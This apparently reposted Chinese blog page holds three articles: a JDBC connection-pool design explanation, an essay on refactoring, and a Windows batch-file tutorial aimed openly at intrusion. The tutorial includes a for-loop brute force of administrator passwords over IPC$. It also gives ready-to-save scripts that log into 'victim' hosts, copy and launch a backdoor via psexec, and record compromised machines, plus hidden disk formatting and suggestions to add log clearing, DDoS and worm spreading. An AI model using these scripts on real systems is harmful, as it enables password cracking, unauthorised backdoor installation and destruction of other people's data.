posts - 189,comments - 115,trackbacks - 0
          數據庫連接池的原理機制
          轉貼??(?? 學習 )

           1、基本概念及原理?
            由上面的分析可以看出,問題的根源就在于對數據庫連接資源的低效管理。我們知道,?
            對于共享資源,有一個很著名的設計模式:資源池(Resource??Pool)。該模式正是為了解決資源的頻繁分配?釋放所造成的問題。為解決上述問題,可以采用數據庫連接池技術。數據庫連接池的基本思想就是為數據庫連接建立一個“緩沖池”。預先在緩沖池中放入一定數量的連接,當需要建立數據庫連接時,只需從“緩沖池”中取出一個,使用完畢之后再放回去。我們可以通過設定連接池最大連接數來防止系統無盡的與數據庫連接。更為重要的是我們可以通過連接池的管理機制監視數據庫的連接的數量?使用情況,為系統開發?測試及性能調整提供依據。

          ??連接池的基本工作原理?
            2、服務器自帶的連接池?
            JDBC的API中沒有提供連接池的方法。一些大型的WEB應用服務器如BEA的WebLogic和IBM的WebSphere等提供了連接池的機制,但是必須有其第三方的專用類方法支持連接池的用法。?
            連接池關鍵問題分析?
            1、并發問題?
            為了使連接管理服務具有最大的通用性,必須考慮多線程環境,即并發問題。這個問題相對比較好解決,因為Java語言自身提供了對并發管理的支持,使用synchronized關鍵字即可確保線程是同步的。使用方法為直接在類方法前面加上synchronized關鍵字,如:?
          public??synchronized??Connection??getConnection()???
            2、多數據庫服務器和多用戶?
            對于大型的企業級應用,常常需要同時連接不同的數據庫(如連接Oracle和Sybase)。如何連接不同的數據庫呢?我們采用的策略是:設計一個符合單例模式的連接池管理類,在連接池管理類的唯一實例被創建時讀取一個資源文件,其中資源文件中存放著多個數據庫的url地址()?用戶名()?密碼()等信息。如tx.url=172.21.15.123:5000/tx_it,tx.user=yang,tx.password=yang321。根據資源文件提供的信息,創建多個連接池類的實例,每一個實例都是一個特定數據庫的連接池。連接池管理類實例為每個連接池實例取一個名字,通過不同的名字來管理不同的連接池。?
            對于同一個數據庫有多個用戶使用不同的名稱和密碼訪問的情況,也可以通過資源文件處理,即在資源文件中設置多個具有相同url地址,但具有不同用戶名和密碼的數據庫連接信息。?
            3、事務處理?
            我們知道,事務具有原子性,此時要求對數據庫的操作符合“ALL-ALL-NOTHING”原則,即對于一組SQL語句要么全做,要么全不做。?
            在Java語言中,Connection類本身提供了對事務的支持,可以通過設置Connection的AutoCommit屬性為false,然后顯式的調用commit或rollback方法來實現。但要高效的進行Connection復用,就必須提供相應的事務支持機制。可采用每一個事務獨占一個連接來實現,這種方法可以大大降低事務管理的復雜性。?
            4、連接池的分配與釋放?
            連接池的分配與釋放,對系統的性能有很大的影響。合理的分配與釋放,可以提高連接的復用度,從而降低建立新連接的開銷,同時還可以加快用戶的訪問速度。?
            對于連接的管理可使用空閑池。即把已經創建但尚未分配出去的連接按創建時間存放到一個空閑池中。每當用戶請求一個連接時,系統首先檢查空閑池內有沒有空閑連接。如果有就把建立時間最長(通過容器的順序存放實現)的那個連接分配給他(實際是先做連接是否有效的判斷,如果可用就分配給用戶,如不可用就把這個連接從空閑池刪掉,重新檢測空閑池是否還有連接);如果沒有則檢查當前所開連接池是否達到連接池所允許的最大連接數(maxConn),如果沒有達到,就新建一個連接,如果已經達到,就等待一定的時間(timeout)。如果在等待的時間內有連接被釋放出來就可以把這個連接分配給等待的用戶,如果等待時間超過預定時間timeout,則返回空值(null)。系統對已經分配出去正在使用的連接只做計數,當使用完后再返還給空閑池。對于空閑連接的狀態,可開辟專門的線程定時檢測,這樣會花費一定的系統開銷,但可以保證較快的響應速度。也可采取不開辟專門線程,只是在分配前檢測的方法。?
            5、連接池的配置與維護?
            連接池中到底應該放置多少連接,才能使系統的性能最佳?系統可采取設置最小連接數(minConn)和最大連接數(maxConn)來控制連接池中的連接。最小連接數是系統啟動時連接池所創建的連接數。如果創建過多,則系統啟動就慢,但創建后系統的響應速度會很快;如果創建過少,則系統啟動的很快,響應起來卻慢。這樣,可以在開發時,設置較小的最小連接數,開發起來會快,而在系統實際使用時設置較大的,因為這樣對訪問客戶來說速度會快些。最大連接數是連接池中允許連接的最大數目,具體設置多少,要看系統的訪問量,可通過反復測試,找到最佳點。?
            如何確保連接池中的最小連接數呢?有動態和靜態兩種策略。動態即每隔一定時間就對連接池進行檢測,如果發現連接數量小于最小連接數,則補充相應數量的新連接,以保證連接池的正常運轉。靜態是發現空閑連接不夠時再去檢查。?
          ???
            連接池的實現?
            1、連接池模型?
            本文討論的連接池包括一個連接池類(DBConnectionPool)和一個連接池管理類(DBConnetionPoolManager)。連接池類是對某一數據庫所有連接的“緩沖池”,主要實現以下功能:①從連接池獲取或創建可用連接;②使用完畢之后,把連接返還給連接池;③在系統關閉前,斷開所有連接并釋放連接占用的系統資源;④還能夠處理無效連接(原來登記為可用的連接,由于某種原因不再可用,如超時,通訊問題),并能夠限制連接池中的連接總數不低于某個預定值和不超過某個預定值。?
            連接池管理類是連接池類的外覆類(wrapper),符合單例模式,即系統中只能有一個連接池管理類的實例。其主要用于對多個連接池對象的管理,具有以下功能:①裝載并注冊特定數據庫的JDBC驅動程序;②根據屬性文件給定的信息,創建連接池對象;③為方便管理多個連接池對象,為每一個連接池對象取一個名字,實現連接池名字與其實例之間的映射;④跟蹤客戶使用連接情況,以便需要是關閉連接釋放資源。連接池管理類的引入主要是為了方便對多個連接池的使用和管理,如系統需要連接不同的數據庫,或連接相同的數據庫但由于安全性問題,需要不同的用戶使用不同的名稱和密碼。?
            2、連接池實現?
            下面給出連接池類和連接池管理類的主要屬性及所要實現的基本接口:?
          public??class??DBConnectionPool??implements??TimerListener{?
          private??int??checkedOut;//已被分配出去的連接數?
          private??ArrayList??freeConnections??=??new??ArrayList();//容器,空閑池,根據//創建時間順序存放已創建但尚未分配出去的連接?
          private??int??minConn;//連接池里連接的最小數量?
          private??int??maxConn;//連接池里允許存在的最大連接數?
          private??String??name;//為這個連接池取個名字,方便管理?
          private??String??password;//連接數據庫時需要的密碼?
          private??String??url;//所要創建連接的數據庫的地址?
          private??String??user;//連接數據庫時需要的用戶名?
          public??Timer??timer;//定時器?
          public??DBConnectionPool(String??name,??String??URL,??String??user,??String???
          password,??int??maxConn)//公開的構造函數?
          public??synchronized??void??freeConnection(Connection??con)??//使用完畢之后,//把連接返還給空閑池?
          public??synchronized??Connection??getConnection(long??timeout)//得到一個連接,//timeout是等待時間?
          public??synchronized??void??release()//斷開所有連接,釋放占用的系統資源?
          private??Connection??newConnection()//新建一個數據庫連接?
          public??synchronized??void??TimerEvent()??//定時器事件處理函數?
          }?
          public??class??DBConnectionManager??{?
          static??private??DBConnectionManager??instance;//連接池管理類的唯一實例?
          static??private??int??clients;//客戶數量?
          private??ArrayList??drivers??=??new??ArrayList();//容器,存放數據庫驅動程序?
          private??HashMap??pools??=??new??HashMap??();//以name/value的形式存取連接池//對象的名字及連接池對象?
          static??synchronized??public??DBConnectionManager??getInstance()//如果唯一的//實例instance已經創建,直接返回這個實例;否則,調用私有構造函數,創//建連接池管理類的唯一實例???
          private??DBConnectionManager()//私有構造函數,在其中調用初始化函數init()?
          public??void??freeConnection(String??name,??Connection??con)//??釋放一個連接,//name是一個連接池對象的名字?
          public??Connection??getConnection(String??name)//從名字為name的連接池對象//中得到一個連接?
          public??Connection??getConnection(String??name,??long??time)//從名字為name?
          //的連接池對象中取得一個連接,time是等待時間?
          public??synchronized??void??release()//釋放所有資源?
          private??void??createPools(Properties??props)//根據屬性文件提供的信息,創建//一個或多個連接池?
          private??void??init()//初始化連接池管理類的唯一實例,由私有構造函數調用?
          private??void??loadDrivers(Properties??props)//裝載數據庫驅動程序?
          }?????
            3、連接池使用?
            上面所實現的連接池在程序開發時如何應用到系統中呢?下面以Servlet為例說明連接池的使用。?
            Servlet的生命周期是:在開始建立servlet時,調用其初始化(init)方法。之后每個用戶請求都導致一個調用前面建立的實例的service方法的線程。最后,當服務器決定卸載一個servlet時,它首先調用該servlet的??destroy方法。?
            根據servlet的特點,我們可以在初始化函數中生成連接池管理類的唯一實例(其中包括創建一個或多個連接池)。如:?
          public??void??init()??throws??ServletException?
          {?
           connMgr??=??DBConnectionManager.getInstance();???
          }?????
            然后就可以在service方法中通過連接池名稱使用連接池,執行數據庫操作。最后在destroy方法中釋放占用的系統資源,如:???
          public??void??destroy()??{???
           connMgr.release();??super.destroy();???
          }???
            結束語?
            在使用JDBC進行與數據庫有關的應用開發中,數據庫連接的管理是一個難點。很多時候,連接的混亂管理所造成的系統資源開銷過大成為制約大型企業級應用效率的瓶頸。對于眾多用戶訪問的Web應用,采用數據庫連接技術的系統在效率和穩定性上比采用傳統的其他方式的系統要好很多。本文闡述了使用JDBC訪問數據庫的技術?討論了基于連接池技術的數據庫連接管理的關鍵問題并給出了一個實現模型。文章所給出的是連接池管理程序的一種基本模式,為提高系統的整體性能,在此基礎上還可以進行很多有意義的擴展。

          改善代碼質量--重構
          轉貼???

          ????首先必須意識到我們需要重構!
          ????1.概念:
          ????重構(Refactoring)就是在不改變軟件現有功能的基礎上,通過調整程序代碼改善軟件的質量、性能,使其程序的設計模式和架構更趨合理,提高軟件的擴展性和維護性。

          ????2.為什么要重構?
            因為通過重構可以達到以下的目標:
            ?持續偏糾和改進軟件設計
            重構和設計是相輔相成的,它和設計彼此互補。有了重構,你仍然必須做預先的設計,但是不必是最優的設計,只需要一個合理的解決方案就夠了,如果沒有重構、程序設計會逐漸腐敗變質,愈來愈像斷線的風箏,脫韁的野馬無法控制。重構其實就是整理代碼,讓所有帶著發散傾向的代碼回歸本位。
            ?使代碼更易為人所理解
            Martin?Flower在《重構》中有一句經典的話:"任何一個傻瓜都能寫出計算機可以理解的程序,只有寫出人類容易理解的程序才是優秀的程序員。"對此,筆者感觸很深,有些程序員總是能夠快速編寫出可運行的代碼,但代碼中晦澀的命名使人暈眩得需要緊握坐椅扶手,試想一個新兵到來接手這樣的代碼他會不會想當逃兵呢?
            軟件的生命周期往往需要多批程序員來維護,我們往往忽略了這些后來人。為了使代碼容易被他人理解,需要在實現軟件功能時做許多額外的事件,如清晰的排版布局,簡明扼要的注釋,其中命名也是一個重要的方面。一個很好的辦法就是采用暗喻命名,即以對象實現的功能的依據,用形象化或擬人化的手法進行命名,一個很好的態度就是將每個代碼元素像新生兒一樣命名,也許筆者有點命名偏執狂的傾向,如能榮此雅號,將深以此為幸。
            對于那些讓人充滿迷茫感甚至誤導性的命名,需要果決地、大刀闊斧地整容,永遠不要手下留情!
            ?幫助發現隱藏的代碼缺陷
            孔子說過:溫故而知新。重構代碼時逼迫你加深理解原先所寫的代碼。筆者常有寫下程序后,卻發生對自己的程序邏輯不甚理解的情景,曾為此驚悚過,后來發現這種癥狀居然是許多程序員常患的"感冒"。當你也發生這樣的情形時,通過重構代碼可以加深對原設計的理解,發現其中的問題和隱患,構建出更好的代碼。
            ?從長遠來看,有助于提高編程效率
            當你發現解決一個問題變得異常復雜時,往往不是問題本身造成的,而是你用錯了方法,拙劣的設計往往導致臃腫的編碼。
            改善設計、提高可讀性、減少缺陷都是為了穩住陣腳。良好的設計是成功的一半,停下來通過重構改進設計,或許會在當前減緩速度,但它帶來的后發優勢卻是不可低估的。

          ????3.那么我們究竟如何去重構?
          ????這個問題是個很難全面去把握的問題,為什么這樣說呢?可以大致從三個方面來理解
          ????3.1重構與設計
          ????重構可以從很大程度上去扶助設計,通常情況下我們的設計不是能貫穿我們軟件開發的全過程的,在這個過程中,我們的需求變更的可能性非常大,當需求變了,設計也得變,但是我們已有的實現怎么辦?全部廢除?顯然不能!這時候就要依靠重構來解決這種矛盾。
          ???3.2重構與性能
          ???關于重構,有一個常被提出的問題:它對程序的性能將造成怎樣的影響?為了讓軟件易于理解,你常會作出一些使程序運行變慢的修改。這是個重要的問題。我并不贊成為了提高設計的純潔性或把希望寄托于更快的硬件身上,而忽略了程序性能。已經有很多軟件因為速度太慢而被用戶拒絕,日益提高的機器速度亦只不過略微放寬了速度方面的限制而已。但是,換個角度說,雖然重構必然會使軟件運行更慢,但它也使軟件的性能優化更易進行。關鍵在于自己的理解,當你擁有了重構的經驗,你也就有能力在重構的基礎上來改進程序的性能。
          ???3.3重構與模式
          ???那么真正要實現重構時,我們有哪些具體的方法呢?可以這樣說,重構的準則由很多條,見《重構》這本書。但它不是最終的標準,因為你要是完全按照它的標準來執行,那你也就等于不會重構,重構是一種武器,而真正運用武器的高手是沒有武器勝有武器。只有根據實際的需要,憑借一定的思想,才能實現符合實際的重構,我們不能被一些固定的模式套牢了,這樣你的程序會很僵化。究竟如何把握這個度,需要大家去總結。
          ???3.4重構與思想
          ???要想實現一個好的重構,不是重構本身,而是我們在寫代碼的時候,思想當中時刻有它的位置存在!非常重要!如果你本身就沒想著要去重構,那么就是有再好的模式供你調用又怎么樣?就是有了好的模式,你不能根據實際的需要去融會貫通,那你做出來的重構有意義么?大家共同思考一下吧。


          批處理教程
          轉貼???

          批處理教程
          ??????????????????????????????????????????
          最近對于批處理技術的探討比較熱,也有不少好的批處理程序發布,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語云:“授人以魚,不如授人以漁。”因為網上好像并沒有一個比較完整的教材,所以抽一點時間寫了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網絡的自由與共享而努力的朋友們.

          批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件擴展名為?.bat?或?.cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件(也被稱為批處理程序或腳本),可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們后面要提到的用批處理文件來給系統打補丁、批量植入后門程序等。下面就開始我們批處理學習之旅吧。

          一.簡單批處理內部命令簡介

          1.Echo?命令
          打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo?命令將顯示當前回顯設置。
          語法
          echo?[{on|off}]?[message]
          Sample:@echo?off?/?echo?hello?world
          在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用>?>>?^)結合來實現輸入一些命令到特定格式的文件中.這將在以后的例子中體現出來。

          2.@?命令
          表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命令啦。
          Sample:@echo?off
          @echo?Now?initializing?the?program,please?wait?a?minite...
          @format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

          3.Goto?命令
          指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。
          語法:goto?label?(label是參數,指定所要轉向的批處理程序中的行。)?
          Sample:
          if?{%1}=={}?goto?noparms
          if?{%2}=={}?goto?noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。)
          @Rem?check?parameters?if?null?show?usage
          :noparms
          echo?Usage:?monitor.bat?ServerIP?PortNumber
          goto?end
          標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

          4.Rem?命令
          注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。
          Rem?Message
          Sample:@Rem?Here?is?the?description.

          5.Pause?命令
          運行?Pause?命令時,將顯示下面的消息:?
          Press?any?key?to?continue?.?.?.?
          Sample:
          @echo?off?
          :begin?
          copy?a:*.*?d:\back
          echo?Please?put?a?new?disk?into?driver?A?
          pause?
          goto?begin?
          在這個例子中,驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器?A?時,pause?命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續處理。

          6.Call?命令
          從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用?Call,它將不會在命令行起作用。
          語法
          call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]]
          參數
          [Drive:}[Path]?FileName?
          指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。

          7.start?命令
          調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
          入侵常用參數:
          MIN?開始時窗口最小化
          SEPARATE?在分開的空間內開始?16?位?Windows?程序
          HIGH?在?HIGH?優先級類別開始應用程序
          REALTIME?在?REALTIME?優先級類別開始應用程序
          WAIT?啟動應用程序并等候它結束
          parameters?這些為傳送到命令/程序的參數
          執行的應用程序是?32-位?GUI?應用程序時,CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
          8.choice?命令
          choice?使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:后應寫提示可輸入的字符,之間無空格。它的返回碼為1234……
          如:?choice?/c:dme?defrag,mem,end
          將顯示
          defrag,mem,end[D,M,E]?
          Sample:
          Sample.bat的內容如下:?
          @echo?off?
          choice?/c:dme?defrag,mem,end?
          if?errorlevel?3?goto?defrag?(應先判斷數值最高的錯誤碼)
          if?errorlevel?2?goto?mem?
          if?errotlevel?1?goto?end?

          :defrag?
          c:\dos\defrag?
          goto?end?
          :mem?
          mem?
          goto?end?
          :end?
          echo?good?bye

          此文件運行后,將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?,然后if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最后都以goto?end將程序跳到end標號處,然后程序將顯示good?bye,文件結束。

          9.If?命令

          if?表示將判斷是否符合規定的條件,從而決定執行不同的命令。?有三種格式:?
          1、if?"參數"?==?"字符串"? 待執行的命令?
          參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
          如if?"%1"=="a"?format?a:?
          if?{%1}=={}?goto?noparms
          if?{%2}=={}?goto?noparms

          2、if?exist?文件名 ?待執行的命令?
          如果有指定的文件,則條件成立,運行命令,否則運行下一句。
          如if?exist?config.sys?edit?config.sys?

          3、if?errorlevel?/?if?not?errorlevel?數字 ?待執行的命令?
          如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
          如if?errorlevel?2?goto?x2? 
          DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

          10.for?命令
          for?命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
          在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable

          for?{%variable|%%variable}?in?(set)?do?command?[?CommandLineOptions]
          %variable?指定一個單一字母可替換的參數。
          (set)?指定一個或一組文件。可以使用通配符。
          command?指定對每個文件執行的命令。
          command-parameters?為特定命令指定參數或命令行開關。
          在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable
          而不要用?%variable。變量名稱是區分大小寫的,所以?%i?不同于?%I

          如果命令擴展名被啟用,下列額外的?FOR?命令格式會受到
          支持:

          FOR?/D?%variable?IN?(set)?DO?command?[command-parameters]

          如果集中包含通配符,則指定與目錄名匹配,而不與文件
          名匹配。

          FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command-

          檢查以?[drive:]path?為根的目錄樹,指向每個目錄中的
          FOR?語句。如果在?/R?后沒有指定目錄,則使用當前
          目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。

          FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para

          該集表示以增量形式從開始到結束的一個數字序列。
          因此,(1,1,5)?將產生序列?1?2?3?4?5,(5,-1,1)?將產生
          序列?(5?4?3?2?1)。

          FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
          FOR?/F?["options"]?%variable?IN?("string")?DO?command?
          FOR?/F?["options"]?%variable?IN?(command)?DO?command?

          或者,如果有?usebackq?選項:

          FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
          FOR?/F?["options"]?%variable?IN?("string")?DO?command?
          FOR?/F?["options"]?%variable?IN?(command)?DO?command?

          filenameset?為一個或多個文件名。繼續到?filenameset?中的
          下一個文件之前,每份文件都已被打開、讀取并經過處理。
          處理包括讀取文件,將其分成一行行的文字,然后將每行
          解析成零或更多的符號。然后用已找到的符號字符串變量值
          調用?For?循環。以默認方式,/F?通過每個文件的每一行中分開
          的第一個空白符號。跳過空白行。您可通過指定可選?"options"
          參數替代默認解析*作。這個帶引號的字符串包括一個或多個
          指定不同解析選項的關鍵字。這些關鍵字為:

          eol=c?-?指一個行注釋字符的結尾(就一個)
          skip=n?-?指在文件開始時忽略的行數。
          delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的
          默認分隔符集。
          tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代
          的?for?本身。這會導致額外變量名稱的
          格式為一個范圍。通過?nth?符號指定?m
          符號字符串中的最后一個字符星號,
          那么額外的變量將在最后一個符號解析之
          分配并接受行的保留文本。
          usebackq?-?指定新語法已在下類情況中使用:
          在作為命令執行一個后引號的字符串并且
          引號字符為文字字符串命令并允許在?fi
          中使用雙引號擴起文件名稱。

          sample1:
          FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command

          會分析?myfile.txt?中的每一行,忽略以分號打頭的那些行,將
          每行中的第二個和第三個符號傳遞給?for?程序體;用逗號和/或
          空格定界符號。請注意,這個?for?程序體的語句引用?%i?來
          取得第二個符號,引用?%j?來取得第三個符號,引用?%k
          來取得第三個符號后的所有剩余符號。對于帶有空格的文件
          名,您需要用雙引號將文件名括起來。為了用這種方式來使
          用雙引號,您還需要使用?usebackq?選項,否則,雙引號會
          被理解成是用作定義某個要分析的字符串的。

          %i?專門在?for?語句中得到說明,%j?和?%k?是通過
          tokens=?選項專門得到說明的。您可以通過?tokens=?一行
          指定最多?26?個符號,只要不試圖說明一個高于字母?z?或
          Z?的變量。請記住,FOR?變量是單一字母、分大小寫和全局的;
          同時不能有?52?個以上都在使用中。

          您還可以在相鄰字符串上使用?FOR?/F?分析邏輯;方法是,
          用單引號將括號之間的?filenameset?括起來。這樣,該字符
          串會被當作一個文件中的一個單一輸入行。

          最后,您可以用?FOR?/F?命令來分析命令的輸出。方法是,將
          括號之間的?filenameset?變成一個反括字符串。該字符串會
          被當作命令行,傳遞到一個子?CMD.EXE,其輸出會被抓進
          內存,并被當作文件分析。因此,以下例子:

          FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i

          會枚舉當前環境中的環境變量名稱。

          另外,FOR?變量參照的替換已被增強。您現在可以使用下列
          選項語法:

          ~I?-?刪除任何引號("),擴充?%I
          %~fI?-?將?%I?擴充到一個完全合格的路徑名
          %~dI?-?僅將?%I?擴充到一個驅動器號
          %~pI?-?僅將?%I?擴充到一個路徑
          %~nI?-?僅將?%I?擴充到一個文件名
          %~xI?-?僅將?%I?擴充到一個文件擴展名
          %~sI?-?擴充的路徑只含有短名
          %~aI?-?將?%I?擴充到文件的文件屬性
          %~tI?-?將?%I?擴充到文件的日期/時間
          %~zI?-?將?%I?擴充到文件的大小
          %~$PATH:I?-?查找列在路徑環境變量的目錄,并將?%I?擴充
          到找到的第一個完全合格的名稱。如果環境變量
          未被定義,或者沒有找到文件,此組合鍵會擴充
          空字符串

          可以組合修飾符來得到多重結果:

          %~dpI?-?僅將?%I?擴充到一個驅動器號和路徑
          %~nxI?-?僅將?%I?擴充到一個文件名和擴展名
          %~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名
          %~dp$PATH:i?-?查找列在路徑環境變量的目錄,并將?%I?擴充
          到找到的第一個驅動器號和路徑。
          %~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR

          在以上例子中,%I?和?PATH?可用其他有效數值代替。%~?語法
          用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名
          比較易讀,而且避免與不分大小寫的組合鍵混淆。

          以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

          sample2:

          利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
          我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
          最主要的命令是一條:for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?/u:"administrator"
          用i%來表示admin的密碼,在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find命令--
          for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?/u:"administrator"|find?":命令成功完成">>D:\ok.txt?,這樣就ko了。

          sample3:

          你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現呢?呵呵,看下去你就會明白了。

          主要命令也只有一條:(在批處理文件中使用?FOR?命令時,指定變量使用?%%variable)
          @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?door.bat?%%i?%%j?%%k
          tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i?%j?%k。
          而cultivate.bat無非就是用net?use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If?errorlever?=)來篩選成功種植后門的主機,并echo出來,或者echo到指定的文件。
          delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣的了。應該根據%%i?%%j?%%k表示的對象來排列,一般就是?ip?password?username。
          代碼雛形:
          ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?---------------------------
          @echo?off
          @if?"%1"==""?goto?usage
          @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?IPChack.bat?%%i?%%j?%%k
          @goto?end
          :usage
          @echo?run?this?batch?in?dos?modle.or?just?double-click?it.
          :end
          ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?---------------------------


          -------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-----------------------------
          @net?use?\\%1\ipc$?%3?/u:"%2"
          @if?errorlevel?1?goto?failed
          @echo?Trying?to?establish?the?IPC$?connection?…………OK
          @copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PWD?%3?>>ko.txt
          @psexec?\\%1?c:\winnt\system32\windrv32.exe
          @psexec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?>>ko.txt
          :failed
          @echo?Sorry?can?not?connected?to?the?victim.
          -----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?--------------------------------
          這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
          尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.?

          No.2?
          二.如何在批處理文件中使用參數
          批處理中可以使用參數,一般從1%到?9%這九個,當有多個參數時需要用shift來移動,這種情況并不多見,我們就不考慮它了。
          sample1:fomat.bat
          @echo?off
          if?"%1"=="a"?format?a:?
          :format
          @format?a:/q/u/auotset
          @echo?please?insert?another?disk?to?driver?A.
          @pause
          @goto?fomat
          這個例子用于連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat?a,呵呵,好像有點畫蛇添足了~^_^
          sample2:
          當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip?password?username?當著參數來賦給這個批處理,這樣就不用每次都打命令了。
          @echo?off
          @net?use?\\1%\ipc$?"2%"?/u:"3%"?注意哦,這里PASSWORD是第二個參數。
          @if?errorlevel?1?echo?connection?failed
          怎么樣,使用參數還是比較簡單的吧?你這么帥一定學會了^_^.No.3?
          三.如何使用組合命令(Compound?Command)

          1.&

          Usage:第一條命令?&?第二條命令?[&?第三條命令...]

          用這種方法可以同時執行多條命令,而不管命令是否執行成功

          Sample:
          C:\>dir?z:?&?dir?c:\Ex4rch
          The?system?cannot?find?the?path?specified.
          Volume?in?drive?C?has?no?label.
          Volume?Serial?Number?is?0078-59FB

          Directory?of?c:\Ex4rch

          2002-05-14?23:51?
          .
          2002-05-14?23:51?
          ..
          2002-05-14?23:51?14?sometips.gif

          2.&&

          Usage:第一條命令?&&?第二條命令?[&&?第三條命令...]

          用這種方法可以同時執行多條命令,當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則一直執行完所有命令;

          Sample:
          C:\>dir?z:?&&?dir?c:\Ex4rch
          The?system?cannot?find?the?path?specified.

          C:\>dir?c:\Ex4rch?&&?dir?z:
          Volume?in?drive?C?has?no?label.
          Volume?Serial?Number?is?0078-59FB

          Directory?of?c:\Ex4rch

          2002-05-14?23:55?
          .
          2002-05-14?23:55?
          ..
          2002-05-14?23:55?14?sometips.gif
          1?File(s)?14?bytes
          2?Dir(s)?768,671,744?bytes?free
          The?system?cannot?find?the?path?specified.

          在做備份的時候可能會用到這種命令會比較簡單,如:
          dir?file://192.168.0.1/database/backup.mdb?&&?copy?file://192.168.0.1/database/backup.mdb?E:\backup
          如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF?exist了?:)

          3.||

          Usage:第一條命令?||?第二條命令?[||?第三條命令...]

          用這種方法可以同時執行多條命令,當碰到執行正確的命令后將不執行后面的命令,如果沒有出現正確的命令則一直執行完所有命令;

          Sample:
          C:\Ex4rch>dir?sometips.gif?||?del?sometips.gif
          Volume?in?drive?C?has?no?label.
          Volume?Serial?Number?is?0078-59FB

          Directory?of?C:\Ex4rch

          2002-05-14?23:55?14?sometips.gif
          1?File(s)?14?bytes
          0?Dir(s)?768,696,320?bytes?free

